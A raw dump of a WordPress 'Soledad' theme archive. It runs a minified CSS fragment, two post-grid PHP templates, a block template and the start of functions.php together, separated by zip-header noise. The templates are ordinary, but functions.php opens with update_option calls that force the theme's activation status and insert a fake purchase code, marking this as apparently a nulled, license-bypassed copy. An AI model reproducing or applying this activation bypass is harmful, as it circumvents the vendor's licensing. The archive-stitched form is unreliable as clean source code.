input[type=date],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=email],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=month],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=number],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=password],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=range],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=search],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=tel],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=text],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=time],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=url],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=week],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form select,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form textarea,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg form.pc-searchform input.search-input,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg ul.sub-menu,body.pcdm-enable.pcdark-df.pclight-mode .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg,body.pcdm-enable.pcdark-df.pclight-mode .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg,body.pcdm-enable.pcdark-df.pclight-mode .widget input[type=password]{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before,body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{color:var(--pcbg-cl)}body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{color:var(--pcbg-cl)}body.pcdm-enable.pcdark-df.pclight-mode .header-standard>h2 a{color:var(--pcheading-cl)}.penci-ver-dm-switcher .pc_dm_mode{display:flex;justify-content:center;margin:-5px 0 30px}body.pcdm-enable.pcdark-mode #close-sidebar-nav,body.pcdm-enable.pcdark-mode .penci-menu-hbg-overlay{background:rgba(24,24,24,.5)}@media only screen and (min-width:960px){body.pcdm-enable.pclight-mode #navigation.header-11>.container{background:var(--pcbg-cl)}}body.pcdm-enable.pcdark-mode .grid-overlay-meta .grid-header-box,body.pcdm-enable.pcdark-mode .penci-enews-ticker.penci-topbar-trending,body.pcdm-enable.pcdark-mode .show-search{background:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-nav{background:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .search-results-wrapper .penci-dropdown-results.penci-opened,body.pcdm-enable.pcdark-mode .widget.penci_search_box_widget .penci-opened .penci-search-results-wrapper{-moz-box-shadow:0 2px 3px rgba(255,255,255,.15);-webkit-box-shadow:0 2px 3px rgba(255,255,255,.15);box-shadow:0 2px 3px rgba(255,255,255,.15)}body.pcdm-enable.pcdark-mode .penci-patreon-badge-wrap svg [data-color="2"]{fill:#000}body.pcdm-enable.pcdark-mode .widget .penci-buymeacoffee-badge-wrap svg path:last-child{fill:#fff}PK     N\4#  4#    content-grid-boxed-4.phpnu [        <?php
/**
 * Template loop for gird style
 */
if ( ! isset( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$item_class = get_theme_mod( 'penci_grid_cat' ) ? ' pchide-cat' : '';
$post_date_html = '';
if ( ! get_theme_mod( 'penci_grid_date' ) ) {
	$post_date_html = '<div class="penci-grid4-date"><time class="entry-date published" datetime="' . get_the_date( 'c' ) . '"><span>' . get_the_date( 'j' ) . '</span>' . get_the_date( 'M' ) . ', ' . get_the_date( 'Y' ) . '</time></div>';
}
?>
<li class="grid-style grid-boxed-4-item">
    <article id="post-<?php the_ID(); ?>" class="item hentry<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
		<?php if ( penci_get_post_format( 'gallery' ) ): ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ): ?>
                <div class="thumbnail">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"<?php if ( ! get_theme_mod('penci_grid_slider_auto') ) {?> data-auto="true"<?php }?>>
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ): ?>
                                <div class="swiper-slide swiper-mark-item">
									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>


                                        <figure <?php echo penci_layout_bg($the_image[0]);?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
											<?php
											if ( $the_caption ):
												?>
                                                title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
	                                        <?php echo penci_layout_img($the_image[0],$the_caption);?>
                                        </figure>

                                </div>
							<?php endforeach; ?>
                        </div>
                    </div>
					<?php echo $post_date_html;?>
					<?php do_action( 'penci_bookmark_post' ); ?>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ): ?>
            <div class="thumbnail">
				<?php
				echo $post_date_html;
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>
				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
			<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ): ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>

			<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta">
					<?php do_action( 'penci_grid_meta' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_author' ) ): ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php
							if ( function_exists( 'coauthors_posts_links' ) ):
								penci_coauthors_posts_links();
							else:
								?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ): ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( get_theme_mod( 'penci_grid_countviews' ) ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php
				do_action( 'penci_before_post_excerpt' );
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>

		<?php
		if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
			$class_button = '';
			if ( get_theme_mod( 'penci_grid_remove_arrow' ) ):
				$class_button .= ' penci-btn-remove-arrow';
			endif;
			if ( get_theme_mod( 'penci_grid_readmore_button' ) ):
				$class_button .= ' penci-btn-make-button';
			endif;
			if ( get_theme_mod( 'penci_grid_readmore_align' ) ):
				$class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' );
			endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

		<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ): ?>
            <div class="penci-post-box-meta penci-post-box-grid">
                <div class="penci-post-share-box">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
                </div>
            </div>
		<?php endif; ?>
    </article>
</li>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>

<?php ++ $j; ?>
PK     N\~]      content-boxed-1.phpnu [        <?php
/**
 * Template loop for list boxed
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();

$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="list-post list-boxed-post<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                    <a <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), penci_featured_images_size() ));?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                    <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), penci_featured_images_size() ),get_the_title());?>
                    </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
            <div class="inner-content-list-right">
                <div class="header-list-style">
					<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>

                    <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                                href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php penci_soledad_meta_schema(); ?>
					<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
							<?php do_action( 'penci_grid_meta' ); ?>
							<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                                <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                penci_coauthors_posts_links();
	                                else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                <?php endif; ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                                <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                                <span class="otherl-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( get_theme_mod( 'penci_grid_countviews' ) ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>

                </div>

				<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
                    <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
						<?php 
						do_action( 'penci_before_post_excerpt' );
						if( get_theme_mod( 'penci_excerptcharac' ) ){
							the_excerpt();
						} else {
							$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
							penci_the_excerpt( $excerpt_length, $post_id );
						}
						?>
                    </div>
				<?php endif; ?>

				<?php if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
					$class_button = '';
					if ( get_theme_mod( 'penci_grid_remove_arrow' ) ): $class_button .= ' penci-btn-remove-arrow'; endif;
					if ( get_theme_mod( 'penci_grid_readmore_button' ) ): $class_button .= ' penci-btn-make-button'; endif;
					if ( get_theme_mod( 'penci_grid_readmore_align' ) ): $class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' ); endif;
					?>
                    <div class="penci-readmore-btn<?php echo $class_button; ?>">
                        <a class="penci-btn-readmore"
                           href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                    </div>
				<?php endif; ?>

				<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
                    <div class="penci-post-box-meta penci-post-box-grid">
                        <div class="penci-post-share-box">
							<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
							<?php penci_soledad_social_share(); ?>
                        </div>
                    </div>
				<?php endif; ?>

            </div>
        </div>
    </article>
</li>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post list-boxed-post penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK     N\W(        single-penci-block.phpnu [        <?php
/**
 * The Template for displaying block template
 *
 * @package Wordpress
 * @since   1.0
 */
get_header();
if ( have_posts() ) : while ( have_posts() ) : the_post();
	the_content();
endwhile; endif;
get_footer();
PK     N\ *W| W|   functions.phpnu [        <?php
update_option( 'penci_soledad_is_activated', '1' );
update_option( 'penci_validate_check', strtotime( '+30 days' ) );
update_option( 'penci_soledad_purchased_data', [
'purchase_code' => 'abcdef12-3456-7890-abcd-ef1234567890',
'bount_time' => '2024-04-20',
'buyer' => 'GPL',
] );
update_option( 'penci_loads_cm', 'load' );

define('PENCI_SOLEDAD_VERSION', '8.6.8');
if ( ! defined( 'PENCI_SOLEDAD_DIR' ) ) {
	define('PENCI_SOLEDAD_DIR', get_template_directory() );
}
if ( ! defined( 'PENCI_SOLEDAD_URL' ) ) {
	define('PENCI_SOLEDAD_URL', get_template_directory_uri() );
}
/**
 * Global content width
 *
 * @param $content_width
 *
 * @return void
 *@since 1.0
 */
if (!isset($content_width)) {
	$content_width = 1170;
}

add_action( 'init', function() {
	// Localization support since 6.6
	load_theme_textdomain('soledad', PENCI_SOLEDAD_DIR . '/languages');
	load_theme_textdomain('soledad', WP_LANG_DIR . '/themes'); // since: WordPress 6.7
} );

/**
 * Theme setup
 * Hook to action after_setup_theme
 *
 * @return void
 *@since 1.0
 */
add_action('after_setup_theme', 'penci_soledad_theme_setup');
if (!function_exists('penci_soledad_theme_setup')) {
	function penci_soledad_theme_setup() {

		// This theme styles the visual editor with editor-style.css to match the theme style.
		add_editor_style();

		add_editor_style(array(PENCI_SOLEDAD_URL . '/css/penci-icon.css'));

		$fontawesome_ver5 = get_theme_mod('penci_fontawesome_ver5');
		if ($fontawesome_ver5) {
			add_editor_style(array(PENCI_SOLEDAD_URL . '/css/font-awesome.5.11.2.min.css'));
		}

		// Register navigation menu
		register_nav_menus(
			array(
				'main-menu' => 'Primary Menu',
				'topbar-menu' => 'Topbar Menu',
				'footer-menu' => 'Footer Menu',
				'user-menu' => 'User Menu',
			)
		);
		
		// Feed Links
		add_theme_support('automatic-feed-links');

		// Title tag
		add_theme_support('title-tag');

		// Post formats - we support 4 post format: standard, gallery, video and audio
		add_theme_support('post-formats', array('standard', 'gallery', 'video', 'audio', 'link', 'quote'));

		// Add support for Block Styles.
		add_theme_support('wp-block-styles');

		// Add support for full and wide align images.
		add_theme_support('align-wide');

		// Add support for widget block editor
		add_theme_support('widgets-block-editor');

		// Add custom editor font sizes.
		add_theme_support(
			'editor-font-sizes',
			array(
				array(
					'name' => __('Small', 'soledad'),
					'shortName' => __('S', 'soledad'),
					'size' => 12,
					'slug' => 'small',
				),
				array(
					'name' => __('Normal', 'soledad'),
					'shortName' => __('N', 'soledad'),
					'size' => 14,
					'slug' => 'normal',
				),
				array(
					'name' => __('Medium', 'soledad'),
					'shortName' => __('M', 'soledad'),
					'size' => 20,
					'slug' => 'medium',
				),
				array(
					'name' => __('Large', 'soledad'),
					'shortName' => __('L', 'soledad'),
					'size' => 32,
					'slug' => 'large',
				),
				array(
					'name' => __('Huge', 'soledad'),
					'shortName' => __('XL', 'soledad'),
					'size' => 42,
					'slug' => 'huge',
				),
			)
		);

		// Post thumbnails
		add_theme_support('post-thumbnails');
		if (!get_theme_mod('penci_dthumb_1920_auto')):
			add_image_size('penci-single-full', 1920, 0, false);
		endif;
		if (!get_theme_mod('penci_dthumb_1920_800')):
			add_image_size('penci-slider-full-thumb', 1920, 800, true);
		endif;
		if (!get_theme_mod('penci_dthumb_1170_auto')):
			add_image_size('penci-full-thumb', 1170, 99999, false);
		endif;
		if (!get_theme_mod('penci_dthumb_1170_663')):
			add_image_size('penci-slider-thumb', 1170, 663, true);
		endif;
		if (!get_theme_mod('penci_dthumb_780_516')):
			add_image_size('penci-magazine-slider', 780, 516, true);
		endif;
		if (!get_theme_mod('penci_dthumb_585_390')):
			add_image_size('penci-thumb', 585, 390, true);
		endif;
		if (!get_theme_mod('penci_dthumb_585_auto')):
			add_image_size('penci-masonry-thumb', 585, 99999, false);
		endif;
		if (!get_theme_mod('penci_dthumb_585_585')):
			add_image_size('penci-thumb-square', 585, 585, true);
		endif;
		if (!get_theme_mod('penci_dthumb_480_650')):
			add_image_size('penci-thumb-vertical', 480, 650, true);
		endif;
		if (!get_theme_mod('penci_dthumb_263_175')):
			add_image_size('penci-thumb-small', 263, 175, true);
		endif;
	}
}

if (!function_exists('penci_locate_template')) {
	function penci_locate_template( $template_names ) {
		
		$wp_stylesheet_path = get_stylesheet_directory();
		$wp_template_path   = get_template_directory();

		$is_child_theme = is_child_theme();

		$located = '';
		foreach ( (array) $template_names as $template_name ) {
			if ( ! $template_name ) {
				continue;
			}
			if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
				$located = $wp_stylesheet_path . '/' . $template_name;
				break;
			} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
				$located = $wp_template_path . '/' . $template_name;
				break;
			} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
				$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
				break;
			}
		}
		return $located;
	}
}

if ( ! function_exists( 'penci_generator_tag') ) {
	add_filter( 'get_the_generator_html', 'penci_generator_tag', 10, 2 );
	add_filter( 'get_the_generator_xhtml', 'penci_generator_tag', 10, 2 );
	function penci_generator_tag( $gen, $type ) {
		switch ( $type ) {
			case 'html':
				$gen .= "\n" . '<meta name="generator" content="Soledad ' . esc_attr( PENCI_SOLEDAD_VERSION ) . '">';
				break;
			case 'xhtml':
				$gen .= "\n" . '<meta name="generator" content="Soledad ' . esc_attr( PENCI_SOLEDAD_VERSION ) . '" />';
				break;
		}
		return $gen;
	}
}

/**
 * Enqueue styles/scripts
 * Hook to action wp_enqueue_scripts
 *
 * @return void
 *@since 1.0
 */
if (!function_exists('penci_load_scripts')) {
	add_action('wp_enqueue_scripts', 'penci_load_scripts');
	function penci_load_scripts() {

		$is_enable_rest = get_theme_mod('penci_handle_ajax_with_rest_api');

		$localize_script = array(
			'url' => admin_url('admin-ajax.php'),
			'megamenu_url' => $is_enable_rest ? esc_url(rest_url('penci/v1/penci_html_mega_menu')) : esc_url(admin_url('admin-ajax.php')),
			'archive_more_url' => $is_enable_rest ? esc_url(rest_url('penci/v1/penci_archive_more_post')) : esc_url(admin_url('admin-ajax.php')),
			'nonce' => wp_create_nonce('ajax-nonce'),
			'errorPass' => '<p class="message message-error">' . penci_get_setting('penci_plogin_mess_error_email_pass') . '</p>',
			'login' => penci_get_setting('penci_plogin_email_place'),
			'password' => penci_get_setting('penci_trans_pass_text'),
			'headerstyle' => get_theme_mod('penci_topbar_search_style', 'default'),
			'reading_bar_pos' => get_theme_mod('penci_reading_bar_pos', 'footer'),
			'reading_bar_h' => get_theme_mod('penci_reading_bar_h', 5),
			'carousel_e' => get_theme_mod('penci_carousel_slider_effect', 'swing'),
			'slider_e' => get_theme_mod('penci_single_slider_effect', 'creative'),
			'fcarousel_e' => get_theme_mod('penci_fslider_carousel_slider_effect', 'swing'),
			'fslider_e' => get_theme_mod('penci_fslider_single_slider_effect', 'creative'),
			'vfloat' => get_theme_mod('penci_video_float'),
			'vfloatp' => get_theme_mod('penci_video_float_position','bottom-right'),
			'redirect_url' => get_theme_mod('penci_tblogin_redirect_url'),
		);

		$localize_script = apply_filters( 'penci_localize_script', $localize_script );

        $media_fonts = '';

        if (penci_mobile_fonts_url()) {
            $media_fonts = 'only screen and (min-width: 768px)';
			wp_register_style('penci-mobile-fonts', penci_mobile_fonts_url(), array(), PENCI_SOLEDAD_VERSION,'only screen and (max-width: 768px)');
		}

		if (penci_fonts_url()) {
			wp_register_style('penci-fonts', penci_fonts_url(), array(), PENCI_SOLEDAD_VERSION, $media_fonts);
		}

		// Enqueue style
		if (!get_theme_mod('penci_disable_default_fonts')) {
			if (penci_fonts_url()) {
				wp_enqueue_style('penci-fonts');
			}
            if (penci_mobile_fonts_url()) {
				wp_enqueue_style('penci-mobile-fonts');
			}
			$data_fonts = penci_fonts_url('earlyaccess');
			if (is_array($data_fonts) && !empty($data_fonts)) {
				foreach ($data_fonts as $fontname) {
					wp_enqueue_style('penci-font-' . $fontname, '//fonts.googleapis.com/earlyaccess/' . esc_attr($fontname) . '.css', array(), PENCI_SOLEDAD_VERSION);
				}
			}
		}

		wp_enqueue_style('penci-main-style', PENCI_SOLEDAD_URL . '/main.css', array(), PENCI_SOLEDAD_VERSION);

		if ( is_customize_preview() ) {
			wp_enqueue_style('penci-customizer-edit', PENCI_SOLEDAD_URL . '/css/customizer-edit.css', array(), PENCI_SOLEDAD_VERSION);
		}

		wp_enqueue_style('penci-swiper-bundle', PENCI_SOLEDAD_URL . '/css/swiper-bundle.min.css', array(), PENCI_SOLEDAD_VERSION);

		if (class_exists('bbPress') || class_exists('BuddyPress')) {
			wp_enqueue_style('penci-buddypress-bbpress', PENCI_SOLEDAD_URL . '/css/buddypress-bbpress.min.css', array(), PENCI_SOLEDAD_VERSION);
		}

		wp_enqueue_style('penci-font-awesomeold', PENCI_SOLEDAD_URL . '/css/font-awesome.4.7.0.swap.min.css', array(), '4.7.0');

		wp_register_style('penci-font-iweather', PENCI_SOLEDAD_URL . '/css/weather-icon.swap.css', array(), '2.0');

		$fontawesome_ver5 = penci_get_setting('penci_fontawesome_ver5');
		if ($fontawesome_ver5) {
			wp_enqueue_style('penci-font-awesome', PENCI_SOLEDAD_URL . '/css/font-awesome.5.11.2.swap.min.css', array(), '5.11.2');
		}
		wp_enqueue_style('penci_icon', PENCI_SOLEDAD_URL . '/css/penci-icon.css', array(), PENCI_SOLEDAD_VERSION);

		wp_enqueue_style('penci_style', get_stylesheet_directory_uri() . '/style.css', array(), PENCI_SOLEDAD_VERSION);

		wp_enqueue_style('penci_social_counter', PENCI_SOLEDAD_URL . '/css/social-counter.css', array(), PENCI_SOLEDAD_VERSION);

		// Enqueue script
		wp_enqueue_script('js-cookies', PENCI_SOLEDAD_URL . '/js/js-cookies.js', '', PENCI_SOLEDAD_VERSION, true);
		wp_register_script('pc-lazy', PENCI_SOLEDAD_URL . '/js/penci-lazy.js', '', PENCI_SOLEDAD_VERSION, true);
